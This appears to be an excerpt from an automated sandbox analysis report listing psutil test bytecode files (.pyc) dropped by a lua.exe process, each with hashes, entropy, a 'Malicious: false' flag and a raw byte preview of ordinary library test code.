C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_connections.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	15927
Entropy (8bit):	5.392057724109373
Encrypted:	false
SSDEEP:	192:niwtg6JPa0dm/ynysyjyKypy5VIysgVAcRAmMtlrK1sQgGiecRz6V4NcNtX/XaQ:ndhaqKVnAcR1Mtlm1/gGiec/NcaQ
MD5:	9FD9D43E3609D895D17AB4AC0002FA89
SHA1:	8AA99F05E537CD99D94E639D326E5D1433449FE8
SHA-256:	C6E56E940E500B33035D9724E8DF18BB316ED0C21D0C53E5481808C659B096C5
SHA-512:	A21B5C5A1E36866AFF032D0F0DBBDC0444087486BFD3512B786215F4BA04A027A18DD813B072B25BFDF2FB3F6AE8CBAB252C6656CC8592850EEEE5491C5EE814
Malicious:	false
Preview:	B.........R`.S...................@...sr...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l.m$Z$..d.d.l.m%Z%..d.d.l.m&Z&..d.d l.m'Z'..d.d!l.m(Z(..e..)..Ze+e.d"e,....Z-e.j.d.d#....d$k.Z/e"G.d%d&..d&e.....Z0G.d'd(..d(e0..Z1e"G.d)d..d*e0....Z2e"G.d+d,..d,e0....Z3G.d-d...d.e0..Z4e&.5e$d/..G.d0d1..d1e0....Z6G.d2d3..d3e...Z7e8d4k...rnd.d5l9m:Z:..e:e;....d.S.)6z;Tests for net_connections() and Process.connections() APIs......N)...closing)...AF_INET)...AF_INET6)...SOCK_DGRAM)...SOCK_STREAM)...FREEBSD)...LINUX)...MACOS)...NETBSD)...OPENBSD)...POSIX)...SUNOS)...WINDOWS)...supports_ipv6)...PY3)...AF_UNIX)...bind_socket)...bind_unix_socket)...check_connection_ntuple)...create_sockets)...HA

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_contracts.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	26467
Entropy (8bit):	5.245749260692421
Encrypted:	false
SSDEEP:	768:TF6Myn4Ps5y6Dz2J/dS9PeOW7oDiUpYzTzKe7t:8MJPsdc+E7QB6Vt
MD5:	BA57E8E4DDD749D9AA915AB21CED24DE
SHA1:	D099DCDAD123454B4ABBC2099A1A78BEFA242F06
SHA-256:	5CA4CF72037E1FF34B84E1898DFCCB5310ECF96A357ED80754725BFDAC8AF358
SHA-512:	BB636629C5EBF11EB8BC1EFB7A5478DEF29FA2FE40F3C156A8FED21096FA5499DEE321068B5789F1B464C53B1057019AA55080CFCAB5FD45EBE5E749A18E89B0
Malicious:	false
Preview:	B.........R`.i...................@...sf...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l.m$Z$..d.d.l.m%Z%..d.d.l.m&Z&..d.d.l.m'Z'..d.d.l.m(Z(..d.d l.m)Z)..d.d!l.mZ..d.d"l.m+Z+..d.d#l.m,Z,..d.d.l.Z.G.d$d%..d%e'..Z-G.d&d'..d'e'..Z.G.d(d)..d)e'..Z/G.d*d+..d+e'..Z0G.d,d-..d-e'..Z1d.d/..Z2e)G.d0d1..d1e'....Z3e4d2k...rbd.d3l5m6Z6..e6e7....d.S.)4z.Contracts tests. These tests mainly check API sanity in terms of.returned types and APIs availability..Some of these are duplicates of tests test_system.py and test_process.py......N)...AIX)...BSD)...FREEBSD)...LINUX)...MACOS)...NETBSD)...OPENBSD)...OSX)...POSIX)...SUNOS)...WINDOWS)...FileNotFoundError)...long)...range)...APPVEYOR)...chec

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_linux.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	72503
Entropy (8bit):	5.437558825692428
Encrypted:	false
SSDEEP:	1536:IePv6U6yQun06mZYL1GDdWCLWTNzcMJATxb/axJ:IeH6d3un06mZYhGDMzcPTxrav
MD5:	42FF7F5E61B3920071E782912AD7B0CD
SHA1:	0A0DE1120B679B5F6858D3324B5BEC818EC45928
SHA-256:	C34C9358D65ACDCDAC1F4E5AEF39A7CDF3E141985907E34FBAEEC7293E508365
SHA-512:	662C529DF01F899A8922E3DCC3F516422CCAF2ACE4C038253B43C9CBA1F9C57832D9D09A000C6BBC370C799FAC67CB1AA0FDD0ADE1FE28F114D0E4966CA6340F
Malicious:	false
Preview:	B.........R`.^...................@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l.m$Z$..d.d.l.m%Z%..d.d.l.m&Z&..d.d.l.m'Z'..d.d.l.m(Z(..d.d.l.m)Z)..d.d.l.mZ..e.j+.,e.j+.-e.....Z/d.Z0d.Z1d.Z2d.Z3d Z4e...r.d!Z5e...d"....Z6d#d$..Z7d%d&..Z8d'd(..Z9d)d*..Z:d+d,..Z;d-d...Z<d/d0..Z=d1d2..Z>d3d4..Z?e.j@d5d6....ZAe.j@d7d8....ZBe).Ce...d9..G.d:d;..d;e.....ZDe).Ce...d9..G.d<d=..d=e.....ZEe).Ce...d9..G.d>d?..d?e.....ZFe).Ce...d9..G.d@dA..dAe.....ZGe).Ce...d9..G.dBdC..dCe.....ZHe).Ce...d9..G.dDdE..dEe.....ZIe).Ce...d9..G.dFdG..dGe.....ZJe).Ce...d9..G.dHdI..dIe.....ZKe).Ce...d9..G.dJdK..dKe.....ZLe).Ce...d9..G.dLdM..dMe.....ZMe).Ce...d9..G.dNdO..dOe.....ZNe).Ce...d9..G.dPdQ..dQe.....ZOe).Ce...d9..G.dRdS..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_memleaks.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	22836
Entropy (8bit):	5.029831974326229
Encrypted:	false
SSDEEP:	384:bkJpwvC4O2BY+X+uNDIC/6swRLp5CZj8Xwx+hPEPjuWowaA0G+LX6QH87e5VaJZ:bkvw8o/wiKPZjLX6QcIaJZ
MD5:	D4C598C7E6FD336CD8927F6C010F73CA
SHA1:	A79101B5EADB577AD715E45472A6A64C39C321B5
SHA-256:	52191F7FE5D6688C346F2596A91B3A5AA0FF1F3719195AE24B7950DA16B4C9BE
SHA-512:	5A2EFE48AAFDE0389E8DA3719587F51F595F2696C050D8FA6F5AEA4CCFDF2EBBE65DA46607840A4436C67F870F3AC97BC0DB06A469775C2ADFEC0A9395A27D8D
Malicious:	false
Preview:	B.........R`.9...................@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l.m$Z$..d.d l.m%Z%..e.j&j'Z'e..(..Z)d!Zd"d#..Z+G.d$d%..d%e$..Z,G.d&d'..d'e,..Z-e%..e...d(..G.d)d..d*e$....Z/G.d+d,..d,e$..Z0e1d-k...r.d.d.l2m3Z3..e3e4....d.S.)/a.....Tests for detecting function memory leaks (typically the ones.implemented in C). It does so by calling a function many times and.checking whether process memory usage keeps increasing between.calls or over time..Note that this may produce false positives (especially on Windows.for some reason)..PyPy appears to be completely unstable for this framework, probably.because of how its JIT handles memory, so tests ar

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_misc.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	23510
Entropy (8bit):	5.243505119388284
Encrypted:	false
SSDEEP:	384:JU+KMIN0WzLA/FNljhNpdaVIObcS41lfIR/Wi4riZc09y:J3IN/zLmNljfpdqIO81vrYc09y
MD5:	4E0DFB568BAFCA6888678DD9382BD9C3
SHA1:	3AF34336F21959CC111D3310A1E0145DE30C9F2B
SHA-256:	B9AFFC44F990B6D546F439BE132E4BF8D46BDC1D857D0B1681CB32D218D51151
SHA-512:	1F819FC3B427961E83BB9893657BD61F47811C803A32BFDC0A7CCBA3107BC984FCF28A353F454ECFBE24BDD1A6523F8F46F36B6F605FCB9A87452DA58065D620
Malicious:	false
Preview:	B.........R`.o...................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l.m$Z$..d.d.l.m%Z%..d.d.l.m&Z&..d.d.l.Z.d.d.l.Z.e.j'd.d.....d.k.Z(G.d.d...d.e ..Z)e..*d d!..Z+G.d"d#..d#e ..Z,e&.-e.j../e$....d$..G.d%d&..d&e ....Z0e1d'k...r.d.d(l2m3Z3..e3e4....d.S.))z..Miscellaneous tests.......N)...LINUX)...POSIX)...WINDOWS)...memoize)...memoize_when_activated)...supports_ipv6)...wrap_numbers)...PY3)...APPVEYOR)...CI_TESTING)...HAS_BATTERY)...HAS_MEMORY_MAPS)...HAS_NET_IO_COUNTERS)...HAS_SENSORS_BATTERY)...HAS_SENSORS_FANS)...HAS_SENSORS_TEMPERATURES)...import_module_by_path)...mock)...PsutilTestCase)...PYTHON_EXE)...reload_module)...ROOT_DIR)...SCRIPTS_DIR)...sh)...unittest.....).......

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_osx.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	7225
Entropy (8bit):	5.28941900542013
Encrypted:	false
SSDEEP:	96:gtx5+qbTb6imOWmysEu5dZp7yr/0eEvM9Lkis/HzZ+TcwC7MfDKyaJX/fU:Mx5+qT6Yiu5vNyYeEkVsPocwN7Kr1/fU
MD5:	AD85B4E9923A5EE5C5D29081A1540EE9
SHA1:	784BC86D7A54CB2A426B1D4B344FA417109C050D
SHA-256:	ADBD680853E6A1290A8A617AEF8528A5C58025F9D4686996F026AAD94036CD02
SHA-512:	CD709DAE8C9EF235EF2AC9D5CF36F08F0CEA9CF4C126DB9343CD3466B6910D3627CB930295665AC9DC997DC151A3D5B8AC01835940D9747F32A309C770E39E38
Malicious:	false
Preview:	B.........R`~....................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d...Z.d.d...Z.d.d...Z.e...e...d...G.d.d...d.e.....Z.e...e...d...G.d.d...d.e.....Z.e.d.k...r.d.d.l.m.Z...e.e.....d.S.).z.macOS specific tests......N)...MACOS)...HAS_BATTERY)...PsutilTestCase)...retry_on_failure)...sh)...spawn_testproc)...terminate)...TOLERANCE_DISK_USAGE)...TOLERANCE_SYS_MEM)...unittestc................C...s6...t.\|...}.\|.....d...}.y.t.\|...S...t.k.r0......\|.S.X.d.S.).zmExpects a sysctl command with an argument and parse the result. returning only the value of interest.. .....N).r......split..int..ValueError).Z.cmdline..out..result..r.....:D:\python-3.7.3\Lib\site-packages\psutil/tests/test_osx.py..sysctl....s................r....c................C...sV...d.d.l.m.}...t.d...}.x$\|...d...D.].}.\|.\|.k.r P.q W.t.d.....t.t...d.\|.....d.....\|.....S.).z)Wrapper around 'vm_stat' cmdline u

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_posix.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	12833
Entropy (8bit):	5.299084684478016
Encrypted:	false
SSDEEP:	192:JBuFb9W/ou/qXEJU6Xuxf5XuxH+GTPKbsldCG/fUDAyoijD9rJQG5rh76S9P:Hud9YmzVjD9rJQG5r8S9P
MD5:	DBAEE5B5550EE631D738EF57FD688322
SHA1:	005D60BD6AADB09832022B963CF6695DB324D52D
SHA-256:	5542093E79357BB66B625FC841D3D81C15FC609855F6AAA1ABCB22C73942FD2A
SHA-512:	6626B3B775375306811156C3B1CAF9CC5A2ED73208E3A7AD508835489658C5D6CFE72EB9BA62D30D9D14F1DB010484BFA92C9FE7086E76425465C82DF6111BD6
Malicious:	false
Preview:	B.........R`';...................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...rBd.d.l.Z.d.d.l.Z.d.d.l.m.Z...dd.d...Z d.d...Z!d.d...Z"d.d...Z#d.d ..Z$e..%e...d!..G.d"d#..d#e.....Z&e..%e...d!..G.d$d%..d%e.....Z'e..%e...d!..G.d&d'..d'e.....Z(e)d(k...r.d.d)lm+Z+..e+e,....d.S.)+z.POSIX specific tests......N)...AIX)...BSD)...LINUX)...MACOS)...OPENBSD)...POSIX)...SUNOS)...CI_TESTING)...spawn_testproc)...HAS_NET_IO_COUNTERS)...mock)...PsutilTestCase)...PYTHON_EXE)...retry_on_failure)...sh)...skip_on_access_denied)...terminate)...unittest)...which)...getpagesizec................C...s....d.g.}.t.r.\|...d.....\|.d.k.r0\|...d.t.\|...g.....n.t.s8t.rD\|...d.....n.\|...d.....t.rft.d...}.\|...\|.\|...}.\|...d.\|.g.....t.\|...}.t.r.\|.....}.n.\|.....d.d.....}.g.}

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_process.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	47547
Entropy (8bit):	5.334708721501503
Encrypted:	false
SSDEEP:	768:Zr6O3X+/m3RqG18ss1UjW9sweA9HXzMfRdJFHjTgndbMoq2OZNZg4fkZ7FwjAwpn:gOH+/mhnijyjW+pAFMfR7hTgndbGbZQo
MD5:	90FC3F50F60C6ED4AAF857543DDD6656
SHA1:	BC363B6AFA9D93CD19DC13EBE57EF9950A7FFAEB
SHA-256:	D5B899BFE4292B7BE886AE1EE139FA41CAB7120E8B37E551E68B423919B80C45
SHA-512:	575C56311D83E5D461B671070F73B6401E73FA08C4FB94AA859F2697F63CCEDAE586D14B5EDD6CEF7C7A46191B0EC546AA7296ACC296D9108082EDCCB26D9C97
Malicious:	false
Preview:	B.........R`7....................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l m"Z"..d.d.l m#Z#..d.d.l m$Z$..d.d.l m%Z%..d.d.l m&Z&..d.d.l m'Z'..d.d.l m(Z(..d.d.l m)Z)..d.d.l mZ..d.d.l m+Z+..d.d.l m,Z,..d.d.l m-Z-..d.d.l m.Z...d.d l m/Z/..d.d!l m0Z0..d.d"l m1Z1..d.d#l m2Z2..d.d$l m3Z3..d.d%l m4Z4..d.d&l m5Z5..d.d'l m6Z6..d.d(l m7Z7..d.d)l m8Z8..d.d*l m9Z9..d.d+l m:Z:..d.d,l m;Z;..d.d-l m<Z<..G.d.d/..d/e2..Z=e...r.e..>..d.k...r.G.d0d1..d1e=..Z?G.d2d3..d3e2..Z@eAd4k...r.d.d5lBmCZC..eCeD....d.S.)6z.Tests for psutil.Process class......N)...AIX)...BSD)...LINUX)...MACOS)...NETBSD)...OPENBSD)...OSX)...POSIX)...SUNOS)...WINDOWS)...open_text)...FileNotFoundError)...long)...PY3)...super)...APPVEYOR)...call_until)...CI_TES

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_sunos.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	1507
Entropy (8bit):	5.4432236421868865
Encrypted:	false
SSDEEP:	24:ZLPazc2I3UFjoX1cz4caMBOxcVFF7UXb1Tl5kOMR+irrxRxWMY7UEKCeZOvBIgPW:pnciMqczF7UBM/REWZxgPSr
MD5:	6ED28D8467DC55E8EB9332A3AA671C74
SHA1:	8D5C9613974638CB851D0EA319071C46698069D9
SHA-256:	3B7ACE16CA02C87B99EDDF41D29B4C4EC50B06B56937077C6C513693D5434E50
SHA-512:	FEC3D201222C2F73B0AA609C90DED92CB65DA2AA9BF16A4856795DFB7374746EC2E19AE89177867712344BEA59AEF655BB981A4A485037966234309DBBC4ED72
Malicious:	false
Preview:	B.........R`G....................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...e...d...G.d.d...d.e.....Z.e.d.k.r~d.d.l.m.Z...e.e.....d.S.).z.Sun OS specific tests......N)...SUNOS)...PsutilTestCase)...sh)...unittestz.SUNOS onlyc................@...s....e.Z.d.Z.d.d...Z.d.d...Z.d.S.)...SunOSSpecificTestCasec................C...s....t.d.t.j.d.......}.\|.......d...d.d.....}.\|.s4t.d.....d...}.}.xL\|.D.]D}.\|.....}.\|.d.d.....\.}.}.\|.t.t.\|...d.....7.}.\|.t.t.\|...d.....7.}.qBW.\|.\|...}.t.....}.\|...\|.j.\|.....\|...\|.j.\|.....\|...\|.j.\|.....d.S.).Nz#env PATH=/usr/sbin:/sbin:%s swap -l..PATH........z.no swap device(s) configuredr.........i....).r......os..environ..strip..split..ValueError..int..psutilZ.swap_memory..assertEqual..total..used..free)...self..out..linesr....r......line..t..fr....Z.psutil_swap..r.....<D:\python-3.7.3\Lib\site-packages\psutil/tests/test_sunos.py..test_swap_memory....s..................................z&SunOSSpecificTestCase.test_swap_memoryc....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_system.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	27617
Entropy (8bit):	5.384347422852841
Encrypted:	false
SSDEEP:	768:rPkthldLRXsJ8vMwmdLoSgpDE+QiVvZqZ1:w5LRi8UwmdLoSoI+aH
MD5:	133FD7DEA3EA5044E18B9E3428D3E068
SHA1:	D76CC8EFCE39EF777C36C07E9B0D88F287A898D9
SHA-256:	88F0E630EC590D939E23EB96BD5E0697BF6F2597575DC706C30DE6D33B1A495E
SHA-512:	58327BCEB836D47424259F047884AEE16C2B3E1CEA177C794F34D498BF706438C2CDE3615F38CFBE29823B65166B157BA7C39F8BF9C74DCEBACD58F0B78CBD25
Malicious:	false
Preview:	B.........R`.....................@...sz...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l.m$Z$..d.d.l.m%Z%..d.d.l.m&Z&..d.d.l.m'Z'..d.d.l.m(Z(..d.d.l.m)Z)..d.d.l.mZ..d.d l.m+Z+..d.d!l.m,Z,..d.d"l.m-Z-..d.d#l.m.Z...G.d$d%..d%e)..Z/G.d&d'..d'e)..Z0G.d(d)..d)e)..Z1G.d*d+..d+e)..Z2G.d,d-..d-e)..Z3G.d.d/..d/e)..Z4G.d0d1..d1e)..Z5e6d2k...rvd.d3l7m8Z8..e8e9....d.S.)4z.Tests for system APIS......N)...AIX)...BSD)...FREEBSD)...LINUX)...MACOS)...NETBSD)...OPENBSD)...POSIX)...SUNOS)...WINDOWS)...FileNotFoundError)...long)...ASCII_FS)...check_net_address)...CI_TESTING)...DEVNULL)...enum)...GLOBAL_TIMEOUT)...HAS_BATTERY)...HAS_CPU_FREQ)...HAS_GETLOADAVG)...HAS_NET_IO_COUNTERS)...HAS_SENSOR

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_testutils.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	16647
Entropy (8bit):	5.096291123804144
Encrypted:	false
SSDEEP:	384:NAJjm9pWQWQq2AFT4ylWrVO0hMXJyAiBO9K:N0K9Yn2AFT4ylShMXJ/AO9K
MD5:	7FD3CA63286AF97EADF157B5D043A8DF
SHA1:	4B06BAF717761A75C8FA3E483C0B85C3245FCABA
SHA-256:	E1C2735CCC4D78CB1FDC3FB2E7BB065E3A6517DE774C67E13542294D150B5F93
SHA-512:	A3E9DF9A564C730F0F4DBA215C17E5457BDD6C2808BE139869DBC688EBF983E32C89AA557976C9277D172AE3755A9FD3AC0492FE08AB79668A3A55BE0E1B66DB
Malicious:	false
Preview:	B.........R`T8...................@...s~...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l.m$Z$..d.d.l.m%Z%..d.d.l.m&Z&..d.d.l.m'Z'..d.d l.m(Z(..d.d!l.m)Z)..d.d"l.mZ..d.d#l.m+Z+..d.d.l.Z.d.d.l.Z.G.d$d%..d%e...Z,G.d&d'..d'e...Z-G.d(d)..d)e...Z.G.d*d+..d+e...Z/G.d,d-..d-e...Z0e#G.d.d/..d/e'....Z1G.d0d1..d1e...Z2G.d2d3..d3e...Z3e4d4k...rzd.d5l5m6Z6..e6e7....d.S.)6z3.Tests for testing utils (psutil.tests namespace).......N)...FREEBSD)...NETBSD)...POSIX)...open_binary)...open_text)...supports_ipv6)...bind_socket)...bind_unix_socket)...call_until)...chdir)...CI_TESTING)...create_sockets)...get_free_port)...HAS_CONNECTIONS_UNIX)...is_namedtuple)...mock)...process_namespace)...Psu

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_unicode.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	11038
Entropy (8bit):	5.477732822280441
Encrypted:	false
SSDEEP:	192:CONXsup2A/4+bKAu6UmQcwGN3+acn5zlVNTUzXzdF8k9QkFXyzjEulhAK779+9En:C68up2H+bKAupmQLekxvgjdF19rFXJuN
MD5:	2AE29418C5929B848BC016A8A99DB6FF
SHA1:	CC758E33E5193AFDE268EEE28314B19A85FA2811
SHA-256:	3E7AF8EDB72AF59AC2FB9C87F242624C8D356D66329B8DBD9AFDFE2E224F1855
SHA-512:	CE56B9910D7655AC604900F40F1D43304E2F81F611971CF8ACBA2C83C6EA467D60A9D4E7D7E641EA8CB65D3207A72DCB21856328DBF4F246D4B4672FC9272BBF
Malicious:	false
Preview:	B.........R`.0...................@...s<...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l.m$Z$..d.d.l.m%Z%..d.d l.m&Z&..d.d.l.Z.e...r.d!d"..Z.d#d$..Z'G.d%d&..d&e...Z(e e&.)e.d'..e&.)e...o.e...d(..G.d)d..de(........Ze&.)e.d+..G.d,d-..d-e....Z+G.d.d/..d/e(..Z,e-d0k...r8d.d1l.m/Z/..e/e0....d.S.)2a:....Notes about unicode handling in psutil.======================================..Starting from version 5.3.0 psutil adds unicode support, see:.https://github.com/giampaolo/psutil/issues/1040.The notes below apply to any API returning a string such as.process exe(), cwd() or username():..* all strings are encoded by using the OS filesystem encoding. (sys.getfilesystemencoding

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_windows.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	28587
Entropy (8bit):	5.334078394528294
Encrypted:	false
SSDEEP:	768:oBAP0pQpRf1EfUXGquv+Mq+eMnFelu3iOIbVz1D4rrhFDkfpsG9O:oBrpzdvNbFA311erkfpVE
MD5:	5EF532261EACE3063B29201A12A97736
SHA1:	B56C600C5D9B110A0B9AAA58C5FEDBF8CE906C10
SHA-256:	660D647914BED9C93ACAF49504220C90F027D63A3CEA07CC4F2E5C7A4B99F77F
SHA-512:	B67D05445B84435430CFFA0B8C50C9A772A2863D4DE1FCAB09C7B6C56ACCE60F601C94A2CF7246AA4E4C4073FE66404A713E0053A4684B48D98791D36540730A
Malicious:	false
